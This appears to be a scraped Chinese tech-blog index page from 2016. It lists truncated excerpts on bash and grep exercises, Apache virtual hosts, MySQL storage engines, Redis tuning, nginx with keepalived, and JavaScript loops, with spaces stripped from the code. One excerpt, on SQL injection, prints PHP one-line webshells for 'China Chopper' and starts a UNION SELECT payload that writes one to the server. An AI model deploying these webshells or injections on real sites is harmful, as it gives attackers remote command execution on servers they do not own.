1、显示当前系统上root、fedora或user1用户的默认shell;#!/bin/bash
foruserinrootfedorauser1
do
id$user&>/dev/null
if[$?-eq0]
then
cat/etc/passwd|grep^$user|cut-d:-f7
fi
done
//输出:
//下面是或的输出
/bin/bash
#!/bin/bash
foruserinrootmysql
do
id$user&..
分类:
其他好文 时间:
2016-09-04 17:53:04
阅读次数:
228
思路:上传一个“后门”,通过控制后门来得到shell,比如一句话木马。比如:<?system($_REQUEST[‘cmd‘]);?>//通过request提交,执行shell<?php@eval($_POST[‘chopper‘]);?>//PHP一句话木马,直接上菜刀这里构造如下语句:1‘and1=2unionselect"<?",system($_REQU..
分类:
数据库 时间:
2016-09-04 17:54:20
阅读次数:
364
在平时使用输出重定向一般都是使用“>”和“>>”把需要输出的内容指定到一个文件里,前者如果在后面的指定文件已存在,那么这个文件会被重写;后者则是追加,把内容追加到文件的末尾保存,这2个方法在重定向的时候都不会在屏幕上显示内容。但在有些时候需要在屏幕查看..
分类:
其他好文 时间:
2016-09-04 17:53:57
阅读次数:
212
vSphere部署系列之10——虚拟机模板和规范在前面的博文章节中,已搭建了群集,并启用了HA和DRS,但还没有划分资源池,这种情况已经可以应付实际生产环境。资源池的创建和配置比较简单、难点在对配额的理解和按需划分。有兴趣的朋友可以网上查阅相关资料,这里暂不作研究。vCent..
分类:
其他好文 时间:
2016-09-04 17:51:47
阅读次数:
4580
配置环境:1、停止keepalived[root@node1keepalived]#systemctlstopkeepalived.service[root@node2keepalived]#systemctlstopkeepalived.service[root@rs1~]#bashsetka.shstop[root@rs2~]#bashsetka.shstop2、配置nginx[root@node1~]#yuminstallnginx[root@node2~]#yuminstalln..
分类:
其他好文 时间:
2016-09-04 17:53:50
阅读次数:
300
redis作为一个服务,和普通的oracle,mysql服务器运维维护和系统调优是一样的。关注内存,CPU,网络IO,阻塞等。由于不会涉及复杂的SQL业务逻辑,缺少SQL调优这一块。1.通过INFO命令,要清楚了解服务器的现状。参照:http://redisdoc.com/server/info.htmlsectionserver记录了Re..
分类:
其他好文 时间:
2016-09-04 17:53:02
阅读次数:
448
MYISAM和INNODB是MYSQL数据库的两个主要引擎,MYISAM是MYSQL5.5版本之前的默认的引擎,而INNODB是MYSQL5.5版本默认引擎。两个引擎的区别如下:事务处理INNODB支持事务处理功能,事务具有以下4个属性,通常简称为事务的ACID属性。原子性(Atomicity):事务是一个原子操作单元,其对..
分类:
数据库 时间:
2016-09-04 17:51:52
阅读次数:
249
Apache:虚拟主机(有3种)基于IPIP1:80IP2:80基于端口IP:80IP:8080基于域名IP:80主机名不同实现:(为避免影响,先关闭防火墙和selinux)一、同一端口,不同IP1.首先,保证有一个基于中心主机的http服务器,且可以正常访问被访问到(我这里的地址是172.16.100.3/24)2.取消中心..
分类:
其他好文 时间:
2016-09-04 17:52:10
阅读次数:
319
http://hongge.blog.51cto.com/MySQLServer系统架构在前一节中我们学习了mysql的逻辑模块组成,接下来我们来学习mysql存储引擎。一、mysql存储引擎介绍:MySQL在5.1(不包括)之前的版本中,存储引擎是需要在MySQL安装的时候就必须和MySQL一起被编译并同时被安装的。但是从MySQ..
分类:
数据库 时间:
2016-09-04 17:51:33
阅读次数:
309
一、八小时内求生存,八小时外求发展:每早抽出1个小时和晚上抽出2个小时的时间去做有意义的事情。哈佛有一个著名的理论:人的差别在于业余时间,而一个人的命运决定于早上1小时,晚上2小时。根据富人的调查数据,富人的早起是锻炼身体、学习和工作,这是他们成功的因素之一。..
分类:
其他好文 时间:
2016-09-04 17:52:35
阅读次数:
190
官方网站:apache.orghttp://www.taobao.com/index.html为例1.http请求的内容请求行请求方法:get(获取):请求方法,其他常见方法:post(提交表单、单癣端选...)、put(提交评价)、delete(删除服务器上的某个内容(商家))index.html:请求的文件http/1.1版:请求的协议请..
分类:
Web程序 时间:
2016-09-04 17:52:42
阅读次数:
222
1、显示当前系统上root、fedora或user1用户的默认shell;答:[root@mageeduCT7~]#egrep‘^(root|user1)\>‘/etc/passwd|cut-d:-f7
/bin/bash
/bin/bash2、找出/etc/rc.d/init.d/functions文件中某单词后面跟一组小括号的行,形如:hello();答:[root@mageeduCT7~]#grep‘\<[[..
分类:
系统相关 时间:
2016-09-04 17:51:27
阅读次数:
286
处理错误INIT:Id”S0”respawningtoofast:disabledfor5minutes安装完成后可能会报错,是因为启动进程中有一项把所有信息发送到串口,而安装在虚拟机中没有console口,故把这一项屏蔽可以解决此问题。HTTP服务无法启动和这个问题无关。由于单用户模式被加密,所以要用系统光盘引..
分类:
其他好文 时间:
2016-09-04 17:50:26
阅读次数:
1476
●目录操作命令(6个)lstreepwdmkdirrmdircd●文件操作命令(7个)touchcpmvrmlnfindrename●文件查看及处理命令(21个)catmorelessheadtacheadtailcutpastesortuniqwciconvdos2unixfiledifftreechattrlsattrrevvimdiff●文件打包压缩命令(3个)gziptarunzip●信息显示命令..
分类:
系统相关 时间:
2016-09-04 17:49:39
阅读次数:
209
通过break结束for循环 for(vari=1;i>=0;++i){ if(i>100){ break;//结束for循环 } document.write(i+‘<br/>‘); } document.write(‘<hrcolor="red"/>‘); /* continue:代表跳过当次循环,进入下次循环 */ for(vari=1;i<=10..
分类:
编程语言 时间:
2016-09-04 17:48:42
阅读次数:
135
MySQL数据类型及sql模型
存储引擎,也被称为表类型:
MyISAM表:无事务,表锁
.frm:表结构定义文件
.MYD:表数据
.MYI:索引
InnoDB表:事务,行锁
.frm:表结构
.ibd:表空间(数据和索引)
所有表共享一个表空间文件;
建议:每表一个独立的表空间文件;(修改配置文件在[mysqld]..
分类:
数据库 时间:
2016-09-04 17:49:22
阅读次数:
239
1、显示当前系统上root、fedora或user1用户的默认shell;#useraddfedora#useradduser1#grep-E"^(root|fedora|user1)\>"/etc/passwd|cut-d:-f1,7(注意是使用扩展正则表达式)^:行首|:或者():将一个或多个字符捆绑在一起,当作一个整体进行处理cut-d分隔符-fN,M:指定分隔..
分类:
其他好文 时间:
2016-09-04 17:48:12
阅读次数:
193